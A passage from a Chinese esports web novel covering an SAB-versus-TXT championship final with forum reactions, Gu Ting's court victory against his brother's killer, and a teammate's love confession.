“哥,万事要小心。”游迩提醒他,“还没进场,他们也没过安检。” 虽说现在社会极端人士很少,但不代表意外不会发生。场馆外历来都有竞粉应援,只要没有检票入内场,就不会过安检搜身,所以也不清楚有没有极端黑粉带违规物品近身选手,造成安全隐患。 顾听闻言,只觉有理,朝那闯进来的粉丝安抚性地笑了笑,又对游迩说,“是哦,我真没想到。” 手腕儿传来热源,他低头一看,游迩还没有松开他的手腕儿,就这么被带着走,他想出声提醒,又觉得小题大做,牵就牵吧,没什么的。 不知道这次赛事方是如何安排的,两边战队的休息室就在对面,SAB一度怀疑周肆是不是给他们塞钱了,因为—— “哈喽!我的敌人们!”周肆穿着他们战队的队服也掩盖不了他那自带的不靠谱气场,站在SAB休息室的门口兴奋地扬声。 SAB一队的成员若无其事地看了门口一眼,只一秒,当他是空气似的,转过头自顾自地检查自己外设。 只有顾听打了声招呼,“周肆哥。” “小听听!”得了回应的周肆更加肆无忌惮,理所当然,为所欲为地迈进了SAB的休息室。 “干嘛呢干嘛呢,你没有休息室吗?”魏寻也十分嫌弃,就要拦住他赶人,“搁古代,你这叫闯入敌方阵营,是要被乱刀砍死的呀。” “这不已经现代了么,就算科技再发达也回不了古代啊,”周肆不以为然,顾及着魏寻也左腿义肢,没太用力地和他互相推攮着,“啧,这几月光比赛,好久没见了不叙叙旧呢吗。” “叙旧多久时候都能叙旧,你就是想来探听情报。”魏寻也钳制住周肆的脖颈。 “周肆哥,我可以视为你这是来对我们的挑衅。”陈述不忘在一旁添火。 “我们盗版战队好不容易闯进一次决赛,我还不能显摆了,”周肆说,“瞧你们严防死守的样儿,咋,真怕我们啊?” 算了算,TXT的确已经有一年没有站上决赛的舞台了,像周肆这种中奖10块钱的刮刮乐都恨不得发十条朋友圈炫耀的人,今天按捺不住来SAB嘚瑟是他的性格,输赢无所谓,哎,先享受了再说。 只能说这回赛事方是真了解周肆,阴差阳错地将两方战队的休息室安排到一块,正中周肆下怀。 “怕你们?简直就是奇耻大辱兼笑话!”魏寻也和他玩儿得好说话毫不藏着掖着,“那些战队怎么回事,输给了你们,哎!丢人!” 言外之意,SAB对战TXT身份略显掉价。 “喂,你要死啊魏寻也,”周肆无语地笑,走过去顺其自然地攀着顾听的肩,顺带手欠儿地挼了挼粉毛狼尾,“小听听,你看你带出来的兵!” 游迩灰眸冷然一扫,停留在周肆那只手上,再落到他与顾听没有距离的亲昵动作,顾听上挑的眼尾带笑,是他鲜少见过的熟稔气息。 似乎有一嗖凉风使然,周肆侧头,转眼和游迩的视线对上,他一怔,随即自来熟地打招呼,“你是Ear?” “嗯。”游迩淡淡地回。 察觉到对方的高冷,周肆揉揉鼻子,又轻拍顾听肩说,“不多待了哈,我来呢就是扰乱你们道心的,赛场见,可别放水啊,战至最后!” “谁会放水了?”彭于渺好笑地接话,“到时候打输了可别回去躲在被窝里偷偷掉小珍珠哟。” “渺女神你咋这样,”周肆佯装受伤地皱眉,“你那嘴舔一口得毒死吧。” 一般决赛两方战队的氛围向来是低气压弥漫,暗潮涌动,周肆是个奇葩,弄得跟儿戏似的。不过正式比赛开启时,TXT收起平常闲散浪荡,SAB才知道为什么TXT这回能角逐决赛冠军杯。 这次投票选图的地图是哈库呐玛,经典的沙漠图,在仙人掌大道,周肆配合爆破手,完成了对顾听的围剿,两分钟拿下首杀。 摄像镜头非常会来事儿地将顾听的面孔投放到大屏,解说的声音实时响起来,“什么?!一血竟然是TXT的宙斯击败了Listen?” “没办法,大道资源丰厚,且TXT率先找到了载具,Listen只有一把喷子和手枪,被他们两个人围剿没有胜算。” “TXT的进步太迅速了,可以看出来宙斯也是下了大功夫来对待这次决赛,毕竟TXT已经很久没在决赛露过面,每次都是只差一点点。” 游戏社区>>KG联盟>>看帖 1L楼主 对比五个月前的训练赛,这次可是正儿八经的春季总决赛了哦,冠军谁手?我压TXT 2L 啊对不起我还是相信顾听手中的奇迹,所以我压SAB 3L SAB 4L SAB 5L TXT 6L 这半年SAB在顾听的带领下诸位不用我说了吧,我压SAB 7L???各位网友变脸怎么不带我?Listen的风评何时逆转的?? 8L 楼上笑死我了,Listen需要逆转风评吗?他有什么罪无可恕的黑料吗? 9L Listen被宙斯击败后说了句啥? 10L “只死在他手中这一次,过后他再也没有机会了。” 第34章 第 34 章 他的大脑里却一片空白。 比赛来到最后一回合, 双方队员在镜头的展示下可以看出来,精神气儿已经偃旗息鼓了。 赛场解说员趁选手调整阶段,滔滔不绝地分析临近赛点的局势, 顾听正撇开一边的耳机, 和游迩商讨这一局如何打。四局结束,他们两个战队打成了平手,从队内战局的厮杀点以及各项数据,解说此刻说的那句“SAB和TXT都很想赢”直观地表现出来。 TXT从很久没有站上决赛舞台露出身影到现在与之对战的对手是SAB, 绝非偶然, 他们有想赢的理由,重回巅峰,想让所有人都能看见,其实他们还能再战, 一旦有了这样的斗志,对手稍微掉以轻心是很难被攻破的。 但SAB也有想赢的理由。不光光是顾听一人心中所念,SAB在去年KWC简直是被喷成了屎, 竞粉的战斗力不是吹的,那种站至山巅跌落谷底的落差感, 只有亲身经历了, 才明白痛彻心扉的感受。 所以谁想输呢?都不想。 春季赛,就是夺回脸面及荣耀之战。 “这一局,我们保着鱼苗姐打,”五分钟的调整时间到了,顾听戴上耳机立即开了音频说, “远程拉锯,和他们打消耗,这次他们的基地在莎图温度假岛, 那边的掩体很多,魏哥可以看准去埋雷。” “OK。”魏寻也应道。 “我摸过去占点。”彭于渺说。 “小心一点,江津身边要么是周肆,要么是鹿野,”顾听说,“句号,做好侦察报点,小迩给你断后。” “那你呢?”游迩下意识地问了句。 “我去开豁口,清扫障碍物,”顾听说,“两个人的目标太大了,他们摸清楚了我我们突反战术,肯定会想办法拆队。” 前面四局,顾听一有危险游迩就会即使赶到,使得顾听一路畅通无阻,很难再靠近他身。TXT想方设法地拆队他俩,奈何游迩实力过硬,周肆和谢楷打不进去,得需要第三个人来协助,这样实在太过大费周章,资源消耗过快,得不偿失。 就算这样,SAB照样打得吃力,否则不会拖到第五局。 这局顾听下达指令,让游迩去断陈述的后,他还是会不停地切换地图,去寻找顾听的方向确保他没有危险。 顾听只身前往艾格拉A点,第一视角的突破手角色石昊晨是KG官方出的中国人物,代号银河,其特点近战格斗。在场馆内,无法数清的摄像头几位,花了高价钱打造的3D大屏幕不止一个,几个屏幕按照时间会切换投放选手的电脑显示屏,给观众身临其境实时观战体验。 这会儿所有观众面对着的正是顾听的电脑屏幕,石昊晨奔跑的脚步声和戴着作战手套秒切枪支的动作果断利落,顾听发现在A点正好埋雷的鹿野。 刹那间,两个人都迅速反应过来,屏幕顿时枪声环绕,石昊晨身份海军陆战队队员,说了句什么台词,沙哑嗓音在头盔里显得沉闷,突击步枪切换匕首,猛地扑向了鹿野。 “嘭”的一声巨响,是雷爆破了,硝烟滚滚弥漫,逐渐驱散开来,一个倒下一个站着,石昊晨的特种作战服略微破损衣角,左手垂下来拿着突击步枪墨麒麟,而那只匕首直直插进鹿野角色的胸膛。 还没断气前,系统会自动生成请求队员救援的+号,石昊晨抬起枪,不给鹿野机会,直接补枪杀死。下一刻,系统传来一行小字。 [SAB-Listen已在艾格拉成功击杀TXT-Wilds] 观众被这听视效果拉满冲嗤瞳膜,全场低呼“哇”声,看得热血沸腾,激起了心中的澎湃。 身后没有了游迩,顾听前进摸图的速度变得慢了些,不再毫无顾忌地奔跑,时不时还要切视角观察周围情况。耳麦里,游迩启嗓说,“队长,放心跑。” 正儿八经的严肃场合,游迩对顾听的称呼也变了,声音是一如既往的沉稳。 顾听颀长的食指松开键盘的F键,无比信任地应道,“好哦。” SAB身为掠夺队,在横跨大半张地图过后,对TXT在哪些地方需要搜检装备哪些地方埋伏对战有了大致的猜想。 击杀掉一个鹿野,那么江津身边肯定是周肆。顾听标点彭于渺,发了个信号提醒她,他马上赶到。 哈库呐玛可以说就是为狙击手专门打造的图,它大于其他地图几倍的面积,金黄沙漠里稀松的高塔和建立起来高耸的房区,玩家要想以快攻为核心就只能不停地消耗体力资源,所以很多玩家调侃“对狙来哈库呐玛塔塔,钢枪就去挪威的寒港”。 这一场双方选手再出色,战绩面板调出来一看,其实都比不过两位狙击手,直白点儿来讲是两个顶级狙击手的对决,而其他队友是加持,是锦上添花。 彭于渺在莎图温度假岛的瞭望塔架着狙,大屏幕上投放出她的脸,沉静淡定,双目聚精会神,素净面容上的五官显露几分英气。 KG里面的女玩家之前很少,但伴随着这个游戏越来越出圈,女玩家逐渐也多了起来,甚至氪金能力还超出了男玩家。无论是fps还是moba类型的端游,又或者是其他游戏,男性总是怀揣着一种偏见,认为女生在游戏局内就是坑,不知道他们的优越感从何而来。 当看见女玩家照样能进职业打电竞,彭于渺这一路走来都是血雨腥风。 她看得特别开,黑评一笑而过,她打电竞的执着没有那么宏远的理想,纯粹是为了挣钱,这是占主要的其一,其二呢,是堵上有些喷子的嘴。 顾越还是她队长的时候,曾调侃她的个性很像混过江湖的女侠,得到彭于渺的白眼,让他少看中二热血番。 八倍镜里同时出现TXT的谈臻和正在朝魏寻也输送雷达解锁卡的陈述。她这个掩体位置极好,以至于对方不停地被她远程消耗,才让顾听有开豁口的条件,却一直找不到她的具体位置。 她再不开枪,陈述和魏寻也都会死,她只要开枪,她就没办法再蹲踞替队伍打消耗,掩体暴露,现在距离第五局的时间已经过去了二十分钟,先前铺垫好的一切可能会重新打乱。 “鱼苗姐,按你的想法来,不要有顾虑,”顾听已经深入TXT的基地寻找枪,“措手不及为最好。” “收到。”彭于渺勾起唇角。 “所以鱼苗姐快来救我啊啊啊啊啊!”陈述察觉到谈臻的靠近,他的资源全部用来填充队友寥寥无几了,就算谈臻同他一样的协防者位置,现在对打他根本毫无胜算。 “ok,”彭于渺沉着地应了声,“句号,来迎接你的救世主吧!” 说完,倍镜中瞄准谈臻的头盔,人物目标不停移动,她稍微抬高靶位,右手颇有技巧地握着鼠标滑动,优美且丝滑地甩了一狙,谈臻倒地。 陈述:“!” “我补还是你补?”彭于渺问,继而快速改变了话语,叹了口气,“算了,我来。” 紧接着,又是一狙。 “漂亮!”全场观众唏嘘,倒吸一口气,沉浸在彭于渺这位KG女狙击手的操作技巧当中。 陈述顺利解救,魏寻也拿到了雷达解锁卡,把TXT的基地重雷全拆了。 “鱼苗姐撤吧,他们知道你的位置了,”顾听说,“接下来交给我们。” “好嘞。”彭于渺轻快地应。 456L 彭于渺这波操作怎么说,兄弟们 457L 我□□女神太帅了 458L 这还压什么TXT,跟票SAB啊!第五局彭于渺全程高光,江津直接拿她没办法,别看了,TXT已经输了 459L 半场开香槟?这种打脸最狠了 460L 当初我说彭于渺是我女神,你们都说我妈飞了 461L 妈妈回家 462L 妈妈回家 与此同时,TXT的所有队员全部知晓SAB的方向了,动作较快地撤回基地,彭于渺已经行走在江津的镜头下,她无法硬闯和队伍打团,SAB面临4vs5的局面。 “队长,我掩护,你去K枪。”游迩说。 顾听应了声,随即出声的还有陈述,“队长,你尽管去闯吧,我和魏哥豁出这条命也替你挡着。” “全村的希望哦。”顾听嘴上轻松地调侃,眸子却正色认真。 最终SAB除开顾听,其余人包括彭于渺,和TXT硬钢全员死亡,而剩下的周肆就在赶回基地的那一瞬间,顾听已经K了枪。 春季总决赛就此告一段落,SAB以第一积分获得了冠军奖杯。 现场解说音调激昂高涨,来观战的粉丝更是站起来恨不得将嗓子叫哑,SAB和TXT双方战队从电竞椅上起身来到赛场中心,接受颁奖仪式。 这一战双方为了口碑和荣誉彼此毫不相让,可以说是视觉体验效果拉满了。 主持人拿着话筒走到顾听面前,“Listen,你身为SAB的队长,面对这场荣获决赛奖杯有什么感想呢?” 必不可少地提问流程。 以往顾听见顾越回答过很多次,可不知为何,他感觉从哥哥口中说出来特别轻松,对答如流,如今角色转换,他的大脑里却一片空白。 第35章 第 35 章 他应该偿命。 顾听顿了一会儿, 在不远处的观众席他看到了他哥,于是心中一安,清冽声音徐徐从话筒传出去。 “最大的感想就是, 谢谢我队友。” “如果没有他们, SAB不会打出这么好的成绩来。” 去年KWC上,顾听所说的那句话被喷上热搜,所有人都认为是无稽之谈,在对着镜头装逼。但今天又很好地履行了“功成不必在我, 功成必定有我”如此中二热血番且正能量的点题。 就是这两段话, 完全可以概括今日站上春季总决赛的SAB,顾听并非夸下海口,而是转换为事实。 主持人保持着的笑容,语调朗朗, 说着致谢词。毕竟是国内赛事方组织的KG赛事,上半年的表现赛到底没有KWC燃爆人心,以至于颁奖环节很快就过去了, 不过SAB终于在这死气沉沉的半年中活了过来,商业价值重振雄风。 其他人能歇上一口气, 但顾听不能。 半年, 他肩扛双担压力大半年,队伍在他的带领下局势反转,而随之到来的与谢澜光的开庭,让他无法放松心情。 他准备,和坦然接受一切坏结果的到来, 没关系,他还年轻,他有很多时间来跟谢澜光耗下去, 前提是 他哥还在他身边。 “又赢了呢,小听。” 最近顾听很少看见他哥了,这让他有些惶恐不安。赛场上那一眼,现在又猝不及防在他耳边响起来的熟悉嗓音,顾听几乎是立即摘下了耳机,扭头往床边看去。 顾越还是像平常一样躺在床上看书。 “嗯。”顾听轻声应。 “对了,”顾越翻身从床上跳下来,来到顾听身边,手撑在电竞椅上,询问道,“你上次说的那个谁谢澜光的开庭,快开庭了对吗?” 顾听倏地握紧了鼠标,“对,下周。” “好快,”顾越喃喃自语,依旧没想起谢澜光是谁,“法律的界限说不清,只要我们证据找齐了,应该会让他受到应得的制裁。所以小听,别给自己太大压力,别不开心。” 后面两句他说得认真,眼眸也一眨不眨地看着顾听的浅棕色瞳仁。 “如果这件事让小听陷入无法自拔的囹圄,甚至备受煎熬和痛楚,那我觉得” 顾听骤然厉声打断他,“你觉得什么?” 顾越讶然。 “你觉得我该放弃吗?”顾听鲜少的强硬姿态,与他哥对视,声音逐渐变得沙哑,接近无声,蹙着眉说,“哥,我该吗?” 顾越张了张嘴,心疼不已地抚摸顾听粉发头顶。明明染着这么甜这么元气的发色,明明笑起来挂着漂亮的梨涡,可他怎么总是闻到顾听身上有种苦味儿,一点儿也不甜呢? “我也累,哥,”顾听像是自言自语,“我迈不过那个坎儿,爸妈劝不了我,队友劝不了我,你也别想劝我,我心中有数,没准儿哪天我实在坚持不了就放弃了。” “嗯,我知道,其实有时候我倒真想你是他们口中无忧无虑的卡皮巴拉,”顾越揽住顾听的肩,轻叹,“什么也不想,什么也不操心,不用担起一个队伍的责任,可以随心所欲想做自己喜欢的事儿,完成自己心中那份理想。” “会的吧,小听,这是哥哥对你最大的心愿。” 开庭这一天,晴空万里,天气和顾越出事儿的那一天形成鲜明的对比。 本来队友想陪顾听一起去,他们的本意顾听心领,但他不想在法庭上得到不好的结果让更多人失望,所以陪他出庭的是裴律,还有宋星辞。 以及游迩。 顾听偶然知道游迩也在帮他跟进这起关于他哥的案子,如果不是裴律告诉他,恐怕游迩也不会主动向他提起。他问起游迩时,得到青年模棱两可的回答,说他刚好有这方面的律师朋友,可以朝裴律提供一些材料和思路,别的多余的话,游迩就没再给他讲了。 离法院的距离越近,顾听的脸色就越差,如同他排斥去监狱找谢澜光一样。审判之剑今天审判的不只谢澜光,还有他顾听,就是不知上帝更偏向哪一方,最终得到赦免。 双手紧握成拳搁在膝盖上倏然被人给包裹住了,顾听受惊地抬眼。游迩面容很少做大幅度的表情,很多人觉得他高冷不近人情,可顾听却能显而易见地在青年的表情中看到沉稳安抚,导致他内心产生了几分怀疑,好似认识的是两个人。 游迩的手温暖干燥,而顾听因为心情过度紧张的原因,掌心布满冷汗,冷得吓人,就像冬天里冻结的冰。他指腹摩挲顾听手背,彷佛在捋应激猫咪的猫,声音轻缓开口,“哥,今天一定会有好结果。” 他说得无比肯定,肯定到顾听闻言有一瞬间的失神,他们似乎已经开完庭,得到了法官的宣判一样。 其实还未开始。 顾听挤出一抹笑,点头嗯了声。 “车上有小零食,吃个垫垫肚子,”裴律透过后视镜看到顾听苍白的面容,打开扶手箱,他在开车不太方便,对宋星辞说,“星辞,给小听拿一下,你们仨都拿几袋吃吧。” 宋星辞应着,翻出来几袋巧克力,看了眼不是黑巧,递给顾听,“这个甜,牛奶的。” 吃甜心情会好一点儿。 顾听没有拒绝,接过来撕开包装,将白巧含进嘴里。 很甜,巧克力的苦醇已经全部被牛奶的香甜给取代了,甚至甜得有些发齁,不过顾听依旧面不改色地用舌尖抿着,感受巧克力逐渐在他的嘴里化开,焦虑不安的心情被甜味纾解,他脑子里终于挤出来空所想:巧克力怎么会这么甜? 这是第二次开庭,同第一次所坐的位置一模一样,画面重叠,就是不知结局是否能不像第一次。 宋星辞和游迩的身份坐不了原告席,只得转移观众席。这次,来看这个案子的很多,各方媒体又或者是其他身份地位的社会人士,对“电竞选手顾越被精神病人谢澜光捅刀15次在医院抢救无效死亡”的案件备受关注,网络上众说纷纭,什么观论点都有。 有人觉得谢澜光不应该被判决死刑,法律条件构成不成立,他行动时已经失去自我意识和自我动机,不算恶劣杀人案件;也有人觉得精神病人为什么不在精神病院好好治疗反而来人民医院干什么,就算是在人民医院接受治疗,又为什么医生和监护人员不看好他,限制他的自由行动呢?正常人就活该受他一个精神病人的血光之灾吗?这不是关于到死者一个人的事儿,这是一个家庭的事儿,更何况对方还是现役有名的明星电竞选手。 第一次法院因证据理由不足驳回顾听起诉谢澜光死刑的权力,全网唏嘘叹息,为一个好好的正值风华正茂的青年草率离开这个世界而感到悲伤难过。本以为顾听会就此接受法院判决下来的结果,没曾想,他竟然提起了二次诉讼,依旧没改变自己的立场和观点。 他不要谢澜光的赔偿,他只要求谢澜光判处死刑,一命偿一命,天经地义,精神病不是他持刀行凶的遮羞布,更不是挡箭牌。 那时谢澜光在入狱前,拿着驳回的判决书当着法官和其他人的面儿对顾听假惺惺的忏悔,那副嘴脸迄今为止,顾听每每回想起来都让他无比的恶心。 谢澜光泪水挂在脸颊上,他一只眼哭,一只眼笑,眼底的阴郁嘲笑顾听的不自量力,他下跪,他认错,他说他控制不住自己的手。 顾听极力忍耐着自己的情绪,如果他那时候身上有枪,或者有一把刀,他会不顾一切后果将谢澜光碎尸万段,让他下地狱,跪在他哥面前忏悔。 谢澜光被警察带着出庭了。 男人穿着囚服,趿拉着步伐,稍微驼了驼背脊,扭头朝顾听看过去,嘴角勾起轻蔑得意的笑。他待在牢狱里久了,身上沾染的那股阴郁气息更浓,整个人将恶和狠淋漓尽致地完全展现出来。 顾听呼吸一紧,蹙着眉头,胃里不断翻涌,谢澜光令他作呕。 “放轻松,”裴律抬手拍了拍顾听的背,“我们跟着流程走。” 法官宣布肃静以后,开始开庭。 “这种小事儿也需要找我?”游迩父亲在电话里头的嗓音低沉严肃,“我很忙,小迩,你去联系周秘,让他给你解决。” 周秘的办事效率很快,将资料和计划梳理的明明白白,而这也让他在国内掌权的大哥知道了,亲自打电话问他什么情况。 游迩上头还有一位大他五岁的哥和三岁的姐,两位走家族道路,游迩反其道而行之,踏上了在长辈眼中不务正业、没有出息的电竞,在爸妈的雷点上疯狂蹦迪。 大哥说话冷若冰霜,也毫不客气,近乎质问,“游戏给你脑子玩儿傻了是吧,死个人从你的嘴里面说出来这么容易?” 游迩同样没有好语气回他,“一个精神病,死就死了,有什么大不了的?” 末了,又淡然补充,“他应该偿命。” 第36章 第 36 章 我喜欢你。 顾听坐在裴律旁边, 听他向法官和对方律师冷静地诉说着证据,他终于咂摸出不对劲儿来。先开始接手的资料,顾听都逐帧看过, 根据上面的一条一条上网查过, 但今天在法庭上说的一些种种,顾听确定以及肯定,他没有听裴律谈起这些。 光是谢澜光有杀人动机这足以让谢澜光无法翻身判案死刑的这个证据,已经让顾听大脑一懵。 他不是惊讶谢澜光有杀人动机这件事儿, 而是惊讶裴律竟然能找到, 按理说谢澜光上面的人已经清扫完毕没有留下任何可疑的痕迹才对,这么久了,足够他们做完这些事儿了。 但偏偏还是让裴律在今天的法庭上呈堂证供。 顾听面无表情,实则内心惊涛骇浪, 上帝的天秤偏了那么久,如今真的肯朝他偏一点儿了吗? 但谢澜光眼露凶光,再没了往日的淡定, 大声吼,“污蔑!对方原告这是赤裸裸地污蔑!” “肃静!”法官威严地敲了下鼓槌。 谢澜光开始慌神, 眼神与辩护律师交接, 辩护律师立刻开始反驳裴律的观点。 “其实我们还找到一份证据,”裴律不急不慢地说,“谢澜光早就认识被害者顾越了,谢澜光的社交媒体软件均关注了顾越的官方个人账号,且都有私信发送, 由于顾越身为公众人物,所以他从未回复过谢澜光的私信。” 裴律顿了顿,继续补充, “他发给顾越的私信内容粗俗露骨,这是我们录屏的证据。” 第一次起诉谢澜光,顾听没有任何经验,一心想着让法院判处谢澜光死刑,故而大多数证据存在一定的纰漏。谢澜光私信顾越这件事,是游迩让周秘插手进来找到的,发现此不堪入目的私信留言时,对面已经注销了账号,可想而知谢澜光的父母替他擦了多少屁股。 法官一一过目,裴律懒得再和他们耗下去,直接将更明显指控“谢澜光是在清醒状态下朝顾越行凶”的证据交给了法官。 谢澜光的脸色一会儿青一会儿白,在场听庭审的各方媒体低声交谈,宋星辞气得脸都红了,极力忍住自己,不冲上去揍人。 游迩的视线一直落在顾听的身上。 顾听平常穿衣很潮,即使上半身穿着队服,下半身的裤子也要给自己搭条好看的,今天除开那头粉发以外,他穿搭一身黑,精致的脸是受了刺激的苍白,唇线平直,透露出罕见的冷酷。 到最后,谢澜光的辩护律师也无处可辩了。 法官开始宣判结果。 顾听立即坐直了身体,耳朵一阵耳鸣,眼前的人和景变得模糊起来,直到那句“判处谢澜光死刑”落入耳中,他才得以从溺亡中醒过神。 他瞳孔震缩,法官的鼓槌一锤定音,回荡在他脑海。 终于得到他想要的结果了。 哥哥,你看到了吗? 从法院出来,外面刺眼的阳光洒在顾听的身上,他微微仰起头,唇角勾起释然地笑。他本以为会激动地落下眼泪,但没想,他平静又忐忑地接受了这个美好的结果。 “我看到了小听。”周围一片白光,看不清楚到底是一副什么样的景象,好像还有几个立体几何,他哥穿着队服,浑身清爽干净,坐在正方体模块上。 顾听抬头一怔。 “顶着压力担任队长位置,为我维权,辛苦了,听仔。”顾越弯眼一笑,从正方体上跳下来走到顾听的面前,抬手按着顾听的肩,“哥哥都看到了,你所做的每一件事儿,不管是你想对我证明什么,还是这一切的一切,我都知道,我从未离开。” 我就是你,你就是我。 顾听呢喃,轻颤地抬起手,蜷起手指去触摸他哥的脸,但和无数次梦到的一样,没有真情实切的触感,只有虚无。 “继续做你想做的事儿吧,我一直都会支持你,”顾越说,“永远陪在你的身边。” “醒了!阿听醒了!”耳畔宋星辞的声音格外清晰。 再睁开眼时,入目的是医院病房的白色天花板。 “我”顾听疑惑道,“我怎么会在医院?” “你在法院突然晕倒了,把我们吓得,”宋星辞说,“医生说你精神压力太大了,再加上没休息好,其他的没什么大问题。” 顾听了然,环顾四周,发现病房里只有他一架床,宋星辞见状,解释说,“噢,游迩给你办的住院手续,他给你开的单人病房,让你好好休息。” “小迩和裴律呢?”顾听问。 “游迩去拿饭了,裴律还有事儿要忙,”宋星辞说,“后续的材料裴律需要整理,你不用再操心了,交给我们就行。” “谢谢你们了。”顾听轻声说。 “还客气上了,倒是你,自己的身体怎么样心里没点数吗,”宋星辞没好气地说,喋喋不休,“忧心思虑太重,是会伤心气神的知道啵,虽然检查出来没太大的毛病,但一下晕倒很吓人的好吗。” “其实也有可能,是我太高兴了。”顾听说。 宋星辞笑了声,“哎,对,就是要这样想。”他叹了口气,又说,“我听见法官敲定死刑的那一刻,激动得不行,眼泪水止不住地往下掉,阿越在天之灵也能安息吧对了,你打算给伯父伯母说么?” “肯定要说的,”顾听点头,垂着长睫说,“本来没打算告诉他们,因为想着会打不赢,只会让他们徒增伤悲。如果打不赢,我会坚持到打赢为止,那就一直都不告诉他们,打赢了也该让他们心安了,我只是没想到这次会赢。” “我也没想到。”宋星辞回想起庭审的场面,攥紧了双手。 谢澜光一出来,他已经快抑制不住自己冲上去了,更别说顾听呢,他内心又是极大的痛苦? 病房门开,游迩提着带来的饭走进来,看见顾听醒来,欣喜之色溢于言表,“哥,多久醒的?” “醒了有一会儿了。”顾听有太多话要问游迩,此刻还是忍了,笑了笑说。 “这是基地阿姨特意给你做的营养餐,待会儿鱼苗姐他们训练完,会来医院看你。”游迩拧开保温桶。 “哎哟,还来看我哇,感觉有点小题大做了。”顾听心里的暖意直线上升。 “团宠啊你是,”宋星辞顺口来了句,“营养餐有我的吗?” “有你的,”游迩说,“但不是营养餐。” 宋星辞只在SAB战队吃过一回饭,那个时候他就觉得阿姨做的饭特好吃,念念不忘好久。 “你吃了吗?”顾听接过游迩递来的筷子。 “吃了,”游迩说,“吃了才过来的。” 吃完饭,宋星辞晚上还有课先离开了,病房里只有顾听和游迩两人。 顾听估摸着时间,队友他们应该还不会来,便想解疑。裴律是没告诉他太多游迩插手进来案件的细节,但是却点明了游迩的身份,提及的那个企业名字时,顾听一下就明了了。 而游迩,是那企业的公子。 他的确没注意过游迩的身份,只是觉得在基地的一众选手里,游迩很有钱。上海嘛,大都市的繁华他和他哥从踏进这座城市来,就已经领略过了。 但他并不觉得他和游迩现在的关系能够让这少爷出手帮他,那些他找不到的被谢澜光背景清除的证据,却能完全地交接到裴律手中。 “小迩,”顾听看着游迩,温和地问,“现在你能告诉我,一些详细的经过吗?” 游迩依旧闭口不提,不想让顾听知道太多的细节,对于顾听来说,这些事情不足为奇,而他只需要给顾听一个完美的答案。 “哥不用想那么多,官司已经赢了,谢澜光也得到他该有的下场了,不是吗。”游迩说。 “这件事上,谢谢你帮助我太多,小迩,”顾听说,“但我不希望被蒙在鼓里,就比如说你为什么会帮我?” “哥真的想听?”游迩灰眸凿在他身上。 顾听在他炽热目光下坚定点头。 脱掉了黑色外套,顾听内搭是一件宽松白T,六月的天已经很炎热了,病房窗外的梧桐树有了早蝉的叫声。 游迩目光顺着顾听的脸移到小臂,紫色鸢尾纹身活灵活现,栩栩如生,他修长的手圈住瘦削的手腕儿,顾听不明所以地由他动作。 “因为喜欢。”游迩低声说。 顾听一愣。 “不告诉哥案件细节的原因,大概是很想你能安心做网友给你的人设,从此以后,再没任何烦恼,就当一只什么都无所谓的卡皮巴拉吧,”游迩看着顾听说,“本来计划着找个合适的时间,既然哥问我,我便不瞒你了。” “我喜欢你,很喜欢,很喜欢。” “什是那种喜欢吗?”顾听讶然地问。 游迩没忍住笑,“嗯,是那种。” “啊,”顾听完全呆懵了,“但我不喜欢你呀,小迩。” “那我要追你,行吗?” “不行。”顾听拒绝得毫无威慑力。 “我偏要追你呢?”游迩逗某只卡皮巴拉。 顾听稍作思考。 “也行。” 第37章 第 37 章 谢谢你,妈妈 游迩还想再说什么, 被进来的队友声音给打断了,单人病房倏然变得热闹起来,陈述一屁股坐到了顾听身旁, 直接将游迩给挤开。 “队长, 双喜临门!”陈述激动地说,继而不知道为什么,嗓音突然有些哽咽,“苦尽甘来了, 队长。” 顾听细细扫过他们的脸, 惊觉,他们曾经也是顾越,他哥的队友,在他无助迷茫的时候, 他其实知道自己身边无声地被队友筑起了一道安全的保护墙。 半晌,他点头,恍然地回, “是啊,苦尽甘来了。” “怎么会突然晕倒了呢, ”魏寻也问, “检查出来是什么问题?” “没什么问题,就是叫我好好休息,”顾听笑,“别担心,在这之后, 我可以睡个好觉了。” “唉,”彭于渺看着他这副模样,叹气说, “真的要好好睡觉哦,春季赛告一段落,管理层给我们放了几天假调整状态,下半年目标直闯KWC。” 她观察着顾听的表情,其实这件事儿算解了顾听心中的一个心结,还有一个心结,就是去年的KWC,那时多少人喷啊,还是在顾听沉浸在失去顾越的痛苦当中,他大抵依旧会不停地往前走,直到弥补遗憾。 听见KWC,顾听长睫闪了闪。 管理层确实放了几天假,魏寻也他们商量着去哪儿玩,顾听却买了回家的机票,随他一起的,还有游迩。 他似乎是一点儿也不掩藏的感情,也没感觉到一点儿尴尬,如往常一样,跟无事发生同顾听交流。 顾听干预不了,就算干预了游迩也不会听,便由着他去了。 “你们两个孤立全队!”陈述发出控诉。 “队长回家我能理解,游迩,你跟着凑什么热闹?”彭于渺眯眼摩挲下巴。 “是啊。”三个人怀疑的目光盯着游迩,“嗯?” 游迩面不改色很淡定地回,“因为想。” 顾听没参与他们的话题,不知道他们在聊些什么,只知道在出发的那一天,他的身后跟了四个跟屁虫。 “都跟我回贵州吗?”顾听笑着问。 “游迩跟你去安顺,我们去贵阳玩儿,”陈述说,“队长忙完了事儿,可以来找我们汇合啊。” 短假跑不了多远,趁着还没有放暑假,正好可以避开高峰期,去度一个凉爽的假期,所以他们几个商量去的地方,索性选了贵州。 “行吧,”顾听说,“玩得开心。” 下了飞机,游迩去托运处取了行李,顾听的家不在市中心,而打车去县城,还要两个多小时。让顾听有些惊讶的是,游迩熟稔地好像来过他的家乡千万遍,该坐几路公交车,又或者什么路线,他都一清二楚。 “小迩,你”顾听没忍住问,“你是不是之前来过?” “没有,哥,”游迩说,“就是查了一些攻略。” “得费不少时间吧,”顾听说,“你直接问我就行了。” “不想在这种小事上麻烦哥,”游迩看着他说,“但我想来你的家乡看一看,很久了。” 顾听被他直白的视线看得有些不自在,挤出一抹笑,答道,“原来是这样么。” 当然,游迩虽跟着顾听来到了安顺,那是不可能也住在顾听的家里面,他在这个县城的四星级酒店订了房间,顶楼的落地窗能俯瞰小县城的全部风貌。 远处的层山围绕,将城市包裹,正值夏天季节映入眼帘一片绿,生意盎然葱郁的景象。 这就是顾听的家乡。 “来啦。”奶奶系着围裙,听见门铃声从厨房出来去开门,嘴里不停地絮絮叨叨,“丽萍啊,怎么又忘了带钥匙——”门一开,老太太登时僵住了。 顾听手提买的东西,举起来笑得灿烂,“奶奶,我回来啦。” “小听?”奶奶震惊,反应过来高兴得拍手,“哎哟,我乖乖回来啦,哎,你这孩子,回来不晓得打个电话哦!” “想着给你们一个惊喜,”顾听换鞋进屋,“老妈还没有下班吗?” 